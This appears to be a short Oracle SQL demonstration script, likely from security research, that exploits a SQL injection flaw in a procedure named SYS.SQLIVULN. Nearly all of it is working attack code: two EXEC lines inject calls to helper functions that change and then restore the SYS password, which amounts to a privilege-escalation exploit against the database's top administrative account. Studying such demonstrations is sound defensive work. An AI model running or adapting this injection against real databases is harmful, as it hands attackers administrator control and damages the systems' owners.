-- SYS.SQLIVULN is a procedure vulnerable to SQL Injection. The vulnerability exists
-- in a single PL/SQL statement (not in an anonymous PL/SQL block).
-- See file SQLInjectionLimitation.sql
-- To change the SYS password execute:
EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_CHANGEPSW()||'''''''''''');
-- To restore the SYS password execute:
EXEC SYS.SQLIVULN(''''MANAGER''''''''||SCOTT.SQLI_RESTOREPSW()||'''''''''''');
